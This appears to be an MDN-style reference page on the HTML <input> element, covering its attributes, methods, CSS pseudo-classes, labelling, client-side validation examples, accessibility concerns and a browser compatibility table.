
autofocus

A Boolean attribute which, if present, indicates that the input should automatically have focus when the page has finished loading (or when the <dialog> containing the element has been displayed).

Note: An element with the autofocus attribute may gain focus before the DOMContentLoaded event is fired.

No more than one element in the document may have the autofocus attribute. If put on more than one element, the first one with the attribute receives focus.

The autofocus attribute cannot be used on inputs of type hidden, since hidden inputs cannot be focused.

Warning: Automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments. When autofocus is assigned, screen-readers "teleport" their user to the form control without warning them beforehand.

Use careful consideration for accessibility when applying the autofocus attribute. Automatically focusing on a control can cause the page to scroll on load. The focus can also cause dynamic keyboards to display on some touch devices. While a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content.

capture

Introduced in the HTML Media Capture specification and valid for the file input type only, the capture attribute defines which media—microphone, video, or camera—should be used to capture a new file for upload with file upload control in supporting scenarios. See the file input type.

checked

Valid for both radio and checkbox types, checked is a Boolean attribute. If present on a radio type, it indicates that the radio button is the currently selected one in the group of same-named radio buttons. If present on a checkbox type, it indicates that the checkbox is checked by default (when the page loads). It does not indicate whether this checkbox is currently checked: if the checkbox's state is changed, this content attribute does not reflect the change. (Only the HTMLInputElement's checked IDL attribute is updated.)

Note: Unlike other input controls, a checkboxes and radio buttons value are only included in the submitted data if they are currently checked. If they are, the name and the value(s) of the checked controls are submitted.

For example, if a checkbox whose name is fruit has a value of cherry, and the checkbox is checked, the form data submitted will include fruit=cherry. If the checkbox isn't active, it isn't listed in the form data at all. The default value for checkboxes and radio buttons is on.

dirname

Valid for hidden, text, search, url, tel, and email input types, the dirname attribute enables the submission of the directionality of the element. When included, the form control will submit with two name/value pairs: the first being the name and value, and the second being the value of the dirname attribute as the name, with a value of ltr or rtl as set by the browser.

+

html

+
<form action="page.html" method="post">
+  <label>
+    Fruit:
+    <input type="text" name="fruit" dirname="fruit-dir" value="cherry" />
+  </label>
+  <input type="submit" />
+</form>
+<!-- page.html?fruit=cherry&fruit-dir=ltr -->
+
+

When the form above is submitted, the input cause both the name / value pair of fruit=cherry and the dirname / direction pair of fruit-dir=ltr to be sent. For more information, see the dirname attribute.

disabled

A Boolean attribute which, if present, indicates that the user should not be able to interact with the input. Disabled inputs are typically rendered with a dimmer color or using some other form of indication that the field is not available for use.

Specifically, disabled inputs do not receive the click event, and disabled inputs are not submitted with the form.

Note: Although not required by the specification, Firefox will by default persist the dynamic disabled state of an <input> across page loads. Use the autocomplete attribute to control this feature.

form

A string specifying the <form> element with which the input is associated (that is, its form owner). This string's value, if present, must match the id of a <form> element in the same document. If this attribute isn't specified, the <input> element is associated with the nearest containing form, if any.

The form attribute lets you place an input anywhere in the document but have it included with a form elsewhere in the document.

Note: An input can only be associated with one form.

formaction

Valid for the image and submit input types only. See the submit input type for more information.

formenctype

Valid for the image and submit input types only. See the submit input type for more information.

formmethod

Valid for the image and submit input types only. See the submit input type for more information.

formnovalidate

Valid for the image and submit input types only. See the submit input type for more information.

formtarget

Valid for the image and submit input types only. See the submit input type for more information.

height

Valid for the image input button only, the height is the height of the image file to display to represent the graphical submit button. See the image input type.

id

Global attribute valid for all elements, including all the input types, it defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking. The value is used as the value of the <label>'s for attribute to link the label with the form control. See <label>.

inputmode

Global value valid for all elements, it provides a hint to browsers as to the type of virtual keyboard configuration to use when editing this element or its contents. Values include none, text, tel, url, email, numeric, decimal, and search.

list

The value given to the list attribute should be the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

It is valid on text, search, url, tel, email, date, month, week, time, datetime-local, number, range, and color.

Per the specifications, the list attribute is not supported by the hidden, password, checkbox, radio, file, or any of the button types.

Depending on the browser, the user may see a custom color palette suggested, tic marks along a range, or even an input that opens like a <select> but allows for non-listed values. Check out the browser compatibility table for the other input types.

See the <datalist> element.

max

Valid for date, month, week, time, datetime-local, number, and range, it defines the greatest value in the range of permitted values. If the value entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a number, then the element has no maximum value.

There is a special case: if the data type is periodic (such as for dates or times), the value of max may be lower than the value of min, which indicates that the range may wrap around; for example, this allows you to specify a time range from 10 PM to 4 AM.

maxlength

Valid for text, search, url, tel, email, and password, it defines the maximum string length (measured in UTF-16 code units) that the user can enter into the field. This must be an integer value of 0 or higher. If no maxlength is specified, or an invalid value is specified, the field has no maximum length. This value must also be greater than or equal to the value of minlength.

The input will fail constraint validation if the length of the text entered into the field is greater than maxlength UTF-16 code units long. By default, browsers prevent users from entering more characters than allowed by the maxlength attribute. See Client-side validation for more information.

min

Valid for date, month, week, time, datetime-local, number, and range, it defines the most negative value in the range of permitted values. If the value entered into the element is less than this, the element fails constraint validation. If the value of the min attribute isn't a number, then the element has no minimum value.

This value must be less than or equal to the value of the max attribute. If the min attribute is present but is not specified or is invalid, no min value is applied. If the min attribute is valid and a non-empty value is less than the minimum allowed by the min attribute, constraint validation will prevent form submission. See Client-side validation for more information.

There is a special case: if the data type is periodic (such as for dates or times), the value of max may be lower than the value of min, which indicates that the range may wrap around; for example, this allows you to specify a time range from 10 PM to 4 AM.

minlength

Valid for text, search, url, tel, email, and password, it defines the minimum string length (measured in UTF-16 code units) that the user can enter into the entry field. This must be a non-negative integer value smaller than or equal to the value specified by maxlength. If no minlength is specified, or an invalid value is specified, the input has no minimum length.

The input will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long, preventing form submission. See Client-side validation for more information.

multiple

The Boolean multiple attribute, if set, means the user can enter comma separated email addresses in the email widget or can choose more than one file with the file input. See the email and file input type.

name

A string specifying a name for the input control. This name is submitted along with the control's value when the form data is submitted.

Consider the name a required attribute (even though it's not). If an input has no name specified, or name is empty, the input's value is not submitted with the form! (Disabled controls, unchecked radio buttons, unchecked checkboxes, and reset buttons are also not sent.)

There are two special cases:

  1. +_charset_ : If used as the name of an <input> element of type hidden, the input's value is automatically set by the user agent to the character encoding being used to submit the form.
  2. +isindex: For historical reasons, the name isindex is not allowed.

The name attribute creates a unique behavior for radio buttons.

Only one radio button in a same-named group of radio buttons can be checked at a time. Selecting any radio button in that group automatically deselects any currently-selected radio button in the same group. The value of that one checked radio button is sent along with the name if the form is submitted,

When tabbing into a series of same-named group of radio buttons, if one is checked, that one will receive focus. If they aren't grouped together in source order, if one of the group is checked, tabbing into the group starts when the first one in the group is encountered, skipping all those that aren't checked. In other words, if one is checked, tabbing skips the unchecked radio buttons in the group. If none are checked, the radio button group receives focus when the first button in the same name group is reached.

Once one of the radio buttons in a group has focus, using the arrow keys will navigate through all the radio buttons of the same name, even if the radio buttons are not grouped together in the source order.

When an input element is given a name, that name becomes a property of the owning form element's HTMLFormElement.elements property. If you have an input whose name is set to guest and another whose name is hat-size, the following code can be used:

+

js

+
let form = document.querySelector("form");
+
+let guestName = form.elements.guest;
+let hatSize = form.elements["hat-size"];
+
+

When this code has run, guestName will be the HTMLInputElement for the guest field, and hatSize the object for the hat-size field.

Warning: Avoid giving form elements a name that corresponds to a built-in property of the form, since you would then override the predefined property or method with this reference to the corresponding input.

pattern

Valid for text, search, url, tel, email, and password, the pattern attribute defines a regular expression that the input's value must match in order for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.

If the pattern attribute is present but is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. If the pattern attribute is valid and a non-empty value does not match the pattern, constraint validation will prevent form submission.

Note: If using the pattern attribute, inform the user about the expected format by including explanatory text nearby. You can also include a title attribute to explain what the requirements are to match the pattern; most browsers will display this title as a tooltip. The visible explanation is required for accessibility. The tooltip is an enhancement.

See Client-side validation for more information.

placeholder

Valid for text, search, url, tel, email, password, and number, the placeholder attribute provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that provides a hint as to the expected type of data, rather than an explanation or prompt. The text must not include carriage returns or line feeds. So for example if a field is expected to capture a user's first name, and its label is "First Name", a suitable placeholder might be "e.g. Mustafa".

Note: The placeholder attribute is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See Labels for more information.

popovertarget

Turns an <input type="button"> element into a popover control button; takes the ID of the popover element to control as its value. See the Popover API landing page for more details.

popovertargetaction

Specifies the action to be performed on a popover element being controlled by a control <input type="button">. Possible values are:

"hide"

The button will hide a shown popover. If you try to hide an already hidden popover, no action will be taken.

"show"

The button will show a hidden popover. If you try to show an already showing popover, no action will be taken.

"toggle"

The button will toggle a popover between showing and hidden. If the popover is hidden, it will be shown; if the popover is showing, it will be hidden. If popovertargetaction is omitted, "toggle" is the default action that will be performed by the control button.

readonly

A Boolean attribute which, if present, indicates that the user should not be able to edit the value of the input. The readonly attribute is supported by the text, search, url, tel, email, date, month, week, time, datetime-local, number, and password input types.

See the HTML attribute: readonly for more information.

required

required is a Boolean attribute which, if present, indicates that the user must specify a value for the input before the owning form can be submitted. The required attribute is supported by text, search, url, tel, email, date, month, week, time, datetime-local, number, password, checkbox, radio, and file inputs.

See Client-side validation and the HTML attribute: required for more information.

size

Valid for email, password, tel, url, and text, the size attribute specifies how much of the input is shown. Basically creates same result as setting CSS width property with a few specialities. The actual unit of the value depends on the input type. For password and text, it is a number of characters (or em units) with a default value of 20, and for others, it is pixels (or px units). CSS width takes precedence over the size attribute.

src

Valid for the image input button only, the src is string specifying the URL of the image file to display to represent the graphical submit button. See the image input type.

step

Valid for date, month, week, time, datetime-local, number, and range, the step attribute is a number that specifies the granularity that the value must adhere to.

If not explicitly included:

  • +step defaults to 1 for number and range.
  • Each date/time input type has a default step value appropriate for the type; see the individual input pages: date, datetime-local, month, time, and week.

The value must be a positive number—integer or float—or the special value any, which means no stepping is implied, and any value is allowed (barring other constraints, such as min and max).

If any is not explicitly set, valid values for the number, date/time input types, and range input types are equal to the basis for stepping — the min value and increments of the step value, up to the max value, if specified.

For example, if you have <input type="number" min="10" step="2">, then any even integer, 10 or greater, is valid. If omitted, <input type="number">, any integer is valid, but floats (like 4.2) are not valid, because step defaults to 1. For 4.2 to be valid, step would have had to be set to any, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <input type="number" min="-5.2">

Note: When the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in constraint validation and will match the :invalid pseudoclass.

See Client-side validation for more information.

tabindex

Global attribute valid for all elements, including all the input types, an integer attribute indicating if the element can take input focus (is focusable), if it should participate to sequential keyboard navigation. As all input types except for input of type hidden are focusable, this attribute should not be used on form controls, because doing so would require the management of the focus order for all elements within the document with the risk of harming usability and accessibility if done incorrectly.

title

Global attribute valid for all elements, including all input types, containing a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip. The title should NOT be used as the primary explanation of the purpose of the form control. Instead, use the <label> element with a for attribute set to the form control's id attribute. See Labels below.

type

A string specifying the type of control to render. For example, to create a checkbox, a value of checkbox is used. If omitted (or an unknown value is specified), the input type text is used, creating a plaintext input field.

Permitted values are listed in Input types above.

value

The input control's value. When specified in the HTML, this is the initial value, and from then on it can be altered or retrieved at any time using JavaScript to access the respective HTMLInputElement object's value property. The value attribute is always optional, though should be considered mandatory for checkbox, radio, and hidden.

width

Valid for the image input button only, the width is the width of the image file to display to represent the graphical submit button. See the image input type.

+

Non-standard attributes

+
+

The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped.

Attribute Description
autocapitalize A string indicating how auto-capitalization should be applied to the content of text elements. Safari only. +
autocorrect A string indicating whether autocorrect is on or off. Safari only. +
incremental Whether or not to send repeated search events to allow updating live search results while the user is still editing the value of the field. WebKit and Blink only (Safari, Chrome, Opera, etc.).
+mozactionhint +

A string indicating the type of action that will be taken when the user presses the Enter or Return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. Since this attribute is deprecated, use enterkeyhint instead.

orient Sets the orientation of the range slider. Firefox only.
results The maximum number of items that should be displayed in the drop-down list of previous search queries. Safari only. +
webkitdirectory A Boolean indicating whether to only allow the user to choose a directory (or directories, if multiple is also present)
+autocapitalize +

(Safari only). A string which indicates how auto-capitalization should be applied while the user is editing this field. Permitted values are:

none

Do not automatically capitalize any text

sentences

Automatically capitalize the first character of each sentence.

words

Automatically capitalize the first character of each word.

characters

Automatically capitalize every character.

+autocorrect +

(Safari only). A string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are:

on

Enable automatic correction of typos, as well as processing of text substitutions if any are configured.

off

Disable automatic correction and text substitutions.

+incremental +

The Boolean attribute incremental is a WebKit and Blink extension (so supported by Safari, Opera, Chrome, etc.) which, if present, tells the user agent to process the input as a live search. As the user edits the value of the field, the user agent sends search events to the HTMLInputElement object representing the search box. This allows your code to update the search results in real time as the user edits the search.

If incremental is not specified, the search event is only sent when the user explicitly initiates a search (such as by pressing the Enter or Return key while editing the field).

The search event is rate-limited so that it is not sent more frequently than an implementation-defined interval.

+orient +

Similar to the -moz-orient non-standard CSS property impacting the <progress> and <meter> elements, the orient attribute defines the orientation of the range slider. Values include horizontal, meaning the range is rendered horizontally, and vertical, where the range is rendered vertically.

+results +

The results attribute—supported only by Safari—is a numeric value that lets you override the maximum number of entries to be displayed in the <input> element's natively-provided drop-down menu of previous search queries.

The value must be a non-negative decimal number. If not provided, or an invalid value is given, the browser's default maximum number of entries is used.

+webkitdirectory +

The Boolean webkitdirectory attribute, if present, indicates that only directories should be available to be selected by the user in the file picker interface. See HTMLInputElement.webkitdirectory for additional details and examples.

Though originally implemented only for WebKit-based browsers, webkitdirectory is also usable in Microsoft Edge as well as Firefox 50 and later. However, even though it has relatively broad support, it is still not standard and should not be used unless you have no alternative.

+
+

Methods

+
+

The following methods are provided by the HTMLInputElement interface which represents <input> elements in the DOM. Also available are those methods specified by the parent interfaces, HTMLElement, Element, Node, and EventTarget.

checkValidity()

Returns true if the element's value passes validity checks; otherwise, returns false and fires an invalid event at the element.

reportValidity()

Returns true if the element's value passes validity checks; otherwise, returns false, fires an invalid event at the element, and (if the event isn't canceled) reports the problem to the user.

select()

Selects the entire content of the <input> element, if the element's content is selectable. For elements with no selectable text content (such as a visual color picker or calendar date input), this method does nothing.

setCustomValidity()

Sets a custom message to display if the input element's value isn't valid.

setRangeText()

Sets the contents of the specified range of characters in the input element to a given string. A selectMode parameter is available to allow controlling how the existing content is affected.

setSelectionRange()

Selects the specified range of characters within a textual input element. Does nothing for inputs which aren't presented as text input fields.

showPicker()

Displays the browser picker for the input element that would normally be displayed when the element is selected, but triggered from a button press or other user interaction.

stepDown()

Decrements the value of a numeric input by one, by default, or by the specified number of units.

stepUp()

Increments the value of a numeric input by one or by the specified number of units.

+
+

CSS

+

Inputs, being replaced elements, have a few features not applicable to non form elements. There are CSS selectors that can specifically target form controls based on their UI features, also known as UI pseudo-classes. The input element can also be targeted by type with attribute selectors. There are some properties that are especially useful as well.

+

UI pseudo-classes

+
+
Captions super relevant to the <input> element:
Pseudo-class Description
:enabled Any currently enabled element that can be activated (selected, clicked on, typed into, etc.) or accept focus and also has a disabled state, in which it can't be activated or accept focus.
:disabled Any currently disabled element that has an enabled state, meaning it otherwise could be activated (selected, clicked on, typed into, etc.) or accept focus were it not disabled.
:read-only Element not editable by the user
:read-write Element that is editable by the user.
:placeholder-shown Element that is currently displaying placeholder text, including <input> and <textarea> elements with the placeholder attribute present that has, as yet, no value.
:default Form elements that are the default in a group of related elements. Matches checkbox and radio input types that were checked on page load or render.
:checked Matches checkbox and radio input types that are currently checked (and the (<option> in a <select> that is currently selected).
:indeterminate checkbox elements whose indeterminate property is set to true by JavaScript, radio elements, when all radio buttons with the same name value in the form are unchecked, and <progress> elements in an indeterminate state
:valid Form controls that can have constraint validation applied and are currently valid.
:invalid Form controls that have constraint validation applied and are currently not valid. Matches a form control whose value doesn't match the constraints set on it by its attributes, such as required, pattern, step and max.
:in-range A non-empty input whose current value is within the range limits specified by the min and max attributes and the step.
:out-of-range A non-empty input whose current value is NOT within the range limits specified by the min and max attributes or does not adhere to the step constraint.
:required <input>, <select>, or <textarea> element that has the required attribute set on it. Only matches elements that can be required. The attribute included on a non-requirable element will not make for a match.
:optional <input>, <select>, or <textarea> element that does NOT have the required attribute set on it. Does not match elements that can't be required.
:blank +<input> and <textarea> elements that currently have no value.
:user-invalid Similar to :invalid, but is activated on blur. Matches invalid input but only after the user interaction, such as by focusing on the control, leaving the control, or attempting to submit the form containing the invalid control.

Pseudo-classes example

We can style a checkbox label based on whether the checkbox is checked or not. In this example, we are styling the color and font-weight of the <label> that comes immediately after a checked input. We haven't applied any styles if the input is not checked.

+

css

+
input:checked + label {
+  color: red;
+  font-weight: bold;
+}
+
+
+
+ + +
+
+

Attribute selectors

+
+

It is possible to target different types of form controls based on their type using attribute selectors. CSS attribute selectors match elements based on either just the presence of an attribute or the value of a given attribute.

+

css

+
/* matches a password input */
+input[type="password"] {
+}
+
+/* matches a form control whose valid values are limited to a range of values*/
+input[min][max] {
+}
+
+/* matches a form control with a pattern attribute */
+input[pattern] {
+}
+
+
+
+

::placeholder

+
+

By default, the appearance of placeholder text is a translucent or light gray. The ::placeholder pseudo-element is the input's placeholder text. It can be styled with a limited subset of CSS properties.

+

css

+
::placeholder {
+  color: blue;
+}
+
+

Only the subset of CSS properties that apply to the ::first-line pseudo-element can be used in a rule using ::placeholder in its selector.

+
+

appearance

+
+

The appearance property enables the displaying of (almost) any element as a platform-native style based on the operating system's theme as well as the removal of any platform-native styling with the none value.

You could make a <div> look like a radio button with div {appearance: radio;} or a radio look like a checkbox with [type="radio"] {appearance: checkbox;}, but don't.

Setting appearance: none removes platform native borders, but not functionality.

+
+

caret-color

+
+

A property specific to text entry-related elements is the CSS caret-color property, which lets you set the color used to draw the text input caret:

HTML

+

html

+
<label for="textInput">Note the red caret:</label>
+<input id="textInput" class="custom" size="32" />
+
+

CSS

+

css

+
input.custom {
+  caret-color: red;
+  font:
+    16px "Helvetica",
+    "Arial",
+    "sans-serif";
+}
+
+

Result

+
+ + +
+
+

object-position and object-fit

+

In certain cases (typically involving non-textual inputs and specialized interfaces), the <input> element is a replaced element. When it is, the position and size of the element's size and positioning within its frame can be adjusted using the CSS object-position and object-fit properties

+

Styling

+
+

For more information about adding color to elements in HTML, see:

Also see:

+
+

Additional features

+ +

Labels

+
+

Labels are needed to associate assistive text with an <input>. The <label> element provides explanatory information about a form field that is always appropriate (aside from any layout concerns you have). It's never a bad idea to use a <label> to explain what should be entered into an <input> or <textarea>.

Associated labels

The semantic pairing of <input> and <label> elements is useful for assistive technologies such as screen readers. By pairing them using the <label>'s for attribute, you bond the label to the input in a way that lets screen readers describe inputs to users more precisely.

It does not suffice to have plain text adjacent to the <input> element. Rather, usability and accessibility requires the inclusion of either implicit or explicit <label>:

+

html

+
<!-- inaccessible -->
+<p>Enter your name: <input id="name" type="text" size="30" /></p>
+
+<!-- implicit label -->
+<p>
+  <label>Enter your name: <input id="name" type="text" size="30" /></label>
+</p>
+
+<!-- explicit label -->
+<p>
+  <label for="name">Enter your name: </label>
+  <input id="name" type="text" size="30" />
+</p>
+
+

The first example is inaccessible: no relationship exists between the prompt and the <input> element.

In addition to an accessible name, the label provides a larger 'hit' area for mouse and touch screen users to click on or touch. By pairing a <label> with an <input>, clicking on either one will focus the <input>. If you use plain text to "label" your input, this won't happen. Having the prompt part of the activation area for the input is helpful for people with motor control conditions.

As web developers, it's important that we never assume that people will know all the things that we know. The diversity of people using the web—and by extension your website—practically guarantees that some of your site's visitors will have some variation in thought processes and/or circumstances that leads them to interpret your forms very differently from you without clear and properly-presented labels.

Placeholders are not accessible

The placeholder attribute lets you specify text that appears within the <input> element's content area itself when it is empty. The placeholder should never be required to understand your forms. It is not a label, and should not be used as a substitute, because it isn't. The placeholder is used to provide a hint as to what an inputted value should look like, not an explanation or prompt.

Not only is the placeholder not accessible to screen readers, but once the user enters any text into the form control, or if the form control already has a value, the placeholder disappears. Browsers with automatic page translation features may skip over attributes when translating, meaning the placeholder may not get translated.

Note: Don't use the placeholder attribute if you can avoid it. If you need to label an <input> element, use the <label> element.

+
+

Client-side validation

+
+

Warning: Client-side validation is useful, but it does not guarantee that the server will receive valid data. If the data must be in a specific format, always verify it also on the server-side, and return a 400 HTTP response if the format is invalid.

In addition to using CSS to style inputs based on the :valid or :invalid UI states based on the current state of each input, as noted in the UI pseudo-classes section above, the browser provides for client-side validation on (attempted) form submission. On form submission, if there is a form control that fails constraint validation, supporting browsers will display an error message on the first invalid form control; displaying a default message based on the error type, or a message set by you.

Some input types and other attributes place limits on what values are valid for a given input. For example, <input type="number" min="2" max="10" step="2"> means only the number 2, 4, 6, 8, or 10 are valid. Several errors could occur, including a rangeUnderflow error if the value is less than 2, rangeOverflow if greater than 10, stepMismatch if the value is a number between 2 and 10, but not an even integer (does not match the requirements of the step attribute), or typeMismatch if the value is not a number.

For the input types whose domain of possible values is periodic (that is, at the highest possible value, the values wrap back around to the beginning rather than ending), it's possible for the values of the max and min properties to be reversed, which indicates that the range of permitted values starts at min, wraps around to the lowest possible value, then continues on until max is reached. This is particularly useful for dates and times, such as when you want to allow the range to be from 8 PM to 8 AM:

+

html

+
<input type="time" min="20:00" max="08:00" name="overnight" />
+
+

Specific attributes and their values can lead to a specific error ValidityState:

Validity object errors depend on the <input> attributes and their values:
Attribute Relevant property Description
max validityState.rangeOverflow Occurs when the value is greater than the maximum value as defined by the max attribute
maxlength validityState.tooLong Occurs when the number of characters is greater than the number allowed by the maxlength property
min validityState.rangeUnderflow Occurs when the value is less than the minimum value as defined by the min attribute
minlength validityState.tooShort Occurs when the number of characters is less than the number required by the minlength property
pattern validityState.patternMismatch Occurs when a pattern attribute is included with a valid regular expression and the value does not match it.
required validityState.valueMissing Occurs when the required attribute is present but the value is null or radio or checkbox is not checked.
step validityState.stepMismatch The value doesn't match the step increment. Increment default is 1, so only integers are valid on type="number" is step is not included. step="any" will never throw this error.
type validityState.typeMismatch Occurs when the value is not of the correct type, for example an email does not contain an @ or a url doesn't contain a protocol.

If a form control doesn't have the required attribute, no value, or an empty string, is not invalid. Even if the above attributes are present, with the exception of required, an empty string will not lead to an error.

We can set limits on what values we accept, and supporting browsers will natively validate these form values and alert the user if there is a mistake when the form is submitted.

In addition to the errors described in the table above, the validityState interface contains the badInput, valid, and customError boolean readonly properties. The validity object includes:

For each of these Boolean properties, a value of true indicates that the specified reason validation may have failed is true, with the exception of the valid property, which is true if the element's value obeys all constraints.

If there is an error, supporting browsers will both alert the user and prevent the form from being submitted. A word of caution: if a custom error is set to a truthy value (anything other than the empty string or null), the form will be prevented from being submitted. If there is no custom error message, and none of the other properties return true, valid will be true, and the form can be submitted.

+

js

+
function validate(input) {
+  let validityState_object = input.validity;
+  if (validityState_object.valueMissing) {
+    input.setCustomValidity("A value is required");
+  } else if (validityState_object.rangeUnderflow) {
+    input.setCustomValidity("Your value is too low");
+  } else if (validityState_object.rangeOverflow) {
+    input.setCustomValidity("Your value is too high");
+  } else {
+    input.setCustomValidity("");
+  }
+}
+
+

The last line, setting the custom validity message to the empty string is vital. If the user makes an error, and the validity is set, it will fail to submit, even if all the values are valid, until the message is null.

Custom validation error example

If you want to present a custom error message when a field fails to validate, you need to use the Constraint Validation API available on <input> (and related) elements. Take the following form:

+

html

+
<form>
+  <label for="name">Enter username (upper and lowercase letters): </label>
+  <input type="text" name="name" id="name" required pattern="[A-Za-z]+" />
+  <button>Submit</button>
+</form>
+
+

The basic HTML form validation features will cause this to produce a default error message if you try to submit the form with either no valid filled in, or a value that does not match the pattern.

If you wanted to instead display custom error messages, you could use JavaScript like the following:

+

js

+
const nameInput = document.querySelector("input");
+
+nameInput.addEventListener("input", () => {
+  nameInput.setCustomValidity("");
+  nameInput.checkValidity();
+});
+
+nameInput.addEventListener("invalid", () => {
+  if (nameInput.value === "") {
+    nameInput.setCustomValidity("Enter your username!");
+  } else {
+    nameInput.setCustomValidity(
+      "Usernames can only contain upper and lowercase letters. Try again!",
+    );
+  }
+});
+
+

The example renders like so:

+
+ + +

In brief:

Note: Always validate input constraints both client side and server side. Constraint validation doesn't remove the need for validation on the server side. Invalid values can still be sent by older browsers or by bad actors.

Note: Firefox supported a proprietary error attribute — x-moz-errormessage — for many versions, which allowed you set custom error messages in a similar way. This has been removed as of version 66 (see Firefox bug 1513890).

+
+

Localization

+
+

The allowed inputs for certain <input> types depend on the locale. In some locales, 1,000.00 is a valid number, while in other locales the valid way to enter this number is 1.000,00.

Firefox uses the following heuristics to determine the locale to validate the user's input (at least for type="number"):

+
+

Technical summary

+
Content categories Flow content, listed, submittable, resettable, form-associated element, phrasing content. If the type is not hidden, then labelable element, palpable content.
Permitted content None; it is a void element.
Tag omission Must have a start tag and must not have an end tag.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role
Permitted ARIA roles
DOM interface HTMLInputElement
+

Accessibility concerns

+ +

Labels

+
+

When including inputs, it is an accessibility requirement to add labels alongside. This is needed so those who use assistive technologies can tell what the input is for. Also, clicking or touching a label gives focus to the label's associated form control. This improves the accessibility and usability for sighted users, increases the area a user can click or touch to activate the form control. This is especially useful (and even needed) for radio buttons and checkboxes, which are tiny. For more information about labels in general see Labels .

The following is an example of how to associate the <label> with an <input> element in the above style. You need to give the <input> an id attribute. The <label> then needs a for attribute whose value is the same as the input's id.

+

html

+
<label for="peas">Do you like peas?</label>
+<input type="checkbox" name="peas" id="peas" />
+
+
+
+

Size

+
+

Interactive elements such as form input should provide an area large enough that it is easy to activate them. This helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers. A minimum interactive size of 44×44 CSS pixels is recommended.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-input-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
input112
1Before Firefox 89, manipulating the content of <input> elements using Document.execCommand() commands requires workarounds (see bug 1220696).
Yes≤12.11118
4Before Firefox 89, manipulating the content of <input> elements using Document.execCommand() commands requires workarounds (see bug 1220696).
≤12.111.0
accept11216≤12.114.4184≤12.111.0
align11215.5≤12.114.4184≤12.111.0
alt11215.5≤12.114.4184≤12.111.0
captureNoNoNoNoNoNo4.4257914101.5
checked11215.5≤12.114.4184≤12.111.0
dirname1779116No≤12.164.418116≤12.161.0
disabled11215.5≤12.114.4184≤12.111.0
form11215.5≤12.114.4184≤12.111.0
formaction912410≤12.153184≤12.14.21.0
formenctype912410≤12.153184≤12.14.21.0
formmethod912410≤12.153184≤12.14.21.0
formnovalidate412410≤12.15≤37184≤12.141.0
formtarget912410≤12.153184≤12.14.21.0
list2012410≤12.112.14.4.3254≤12.112.21.5
max4121610≤12.15≤371816≤12.141.0
maxlength11215.5≤12.114.4184≤12.111.0
min4121610≤12.15≤371816≤12.141.0
minlength401751No2710.14040512710.34.0
mozactionhintNoNo4–119NoNoNoNoNo4–119NoNoNo
multiple2123.610≤12.14≤37184≤12.13.21.0
name11215.5≤12.114.4184≤12.111.0
pattern412410≤12.15≤37184≤12.141.0
placeholder312410≤12.14≤37184≤12.13.21.0
readonly11215.5≤12.114.4184≤12.111.0
src11215.5≤12.114.4184≤12.111.0
step5121610≤12.15≤371816≤12.141.0
type_button1121Yes1514.41841411.0
type_checkbox1121Yes1514.41841411.0
type_color201429No1212.14.425
27Firefox for Android doesn't allow the user to choose a custom color, only one of the predefined ones.
1212.21.5
type_date201257No1114.14.425571151.5
type_datetime-local201293No1114.14.425931151.5
type_email5121101154.418411
3["Doesn't do validation, but instead offers a custom 'email' keyboard, which is designed to make entering email addresses easier.", "The custom 'email' keyboard does not provide a comma key, so users cannot enter multiple email addresses.", "Automatically applies a default style of opacity: 0.4 to disable textual <input> elements, including those of type 'email'. Other major browsers don't currently share this particular default style."]
1.0
type_file112
1You can set as well as get the value of HTMLInputElement.files in all modern browsers; this was most recently added to Firefox, in version 57 (see bug 1384030).
Yes1114.41841111.0
